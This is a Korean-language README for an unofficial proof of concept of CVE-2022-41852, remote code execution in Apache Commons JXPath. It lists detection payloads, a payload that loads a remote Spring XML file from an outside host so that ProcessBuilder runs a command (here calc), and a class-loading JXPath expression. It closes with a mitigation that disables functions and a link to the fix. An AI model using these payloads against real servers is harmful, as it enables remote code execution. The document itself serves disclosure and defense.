
CVE-2022-41852 개념 증명 (비공식)
CVE-2022-41852는 공격자가 애플리케이션 서버에서 코드를 실행할 수 있게 합니다.
이 취약점에 대해 더 자세히 알아보려면 다음을 참조하세요:
참고: 저는 이 CVE의 작성자가 아닙니다. 단지 이 개념 증명을 만들었을 뿐입니다.
JXPath 라이브러리는 XPath 표현식에서 함수를 실행하는 기능을 지원합니다. (공식 사용자 가이드 참조).
예를 들어, 사용자가 path 매개변수에 입력을 보낼 수 있다면 JXPathContext.getValue(path) 및 JXPathContext.iterate(path) 메서드는 위험합니다.
이 PoC는 두 개의 엔드포인트를 가진 간단한 Spring 서버를 시작합니다:
/vulnerable-example?path=[path]/secure-example?path=[path]이 엔드포인트에는 "path"라는 쿼리 매개변수 하나만 있습니다.
다음 요청은 정상적으로 작동합니다 (문제를 일으키지 않습니다):
다음 요청은 코드가 실행되게 합니다:
CVE-2022-41852를 탐지하기 위한 예시 페이로드:
java.lang.System.exit(42)java.lang.Thread.sleep(10000)/|java.lang.System.exit(42)|java.lang.System.exit(42)명령을 실행하는 다양한 방법이 있을 수 있습니다. 그중 하나는 Spring의 ClassPathXmlApplicationContext를 사용하는 것입니다:
org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")XML 파일에서 빈 구성을 정의할 수 있습니다. 예를 들어, ProcessBuilder의 인스턴스를 생성하고 start() 메서드로 빈을 초기화하여 서버에서 지정된 명령을 실행할 수 있습니다.
다음 예에서는 Windows 머신에서 계산기가 열립니다:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
컨텍스트 빈을 탐색하여 새 클래스를 로드하는 방법도 있습니다. 예를 들어, 다음 코드는 com.warxim.dangerous.DangerousClass 클래스를 로드하고 해당 인스턴스를 생성한 다음 run("warxim") 메서드를 호출합니다:
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);
객체를 포함하는 객체를 첫 번째 매개변수로 넣어 객체 메서드를 호출해야 한다는 점에 유의하세요.
JXPathContext의 functions 필드를 빈 FunctionLibrary로 설정하여 함수를 비활성화할 수 있습니다.
// Create path context for person object
var pathContext = JXPathContext.newContext(person);
// Set empty function library
pathContext.setFunctions(new FunctionLibrary());
// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);
참고: 모든 함수가 비활성화되므로 size()와 같은 함수도 사용할 수 없게 됩니다.
수정 사항이 개발 중입니다. https://github.com/apache/commons-jxpath/pull/26 을 참조하세요.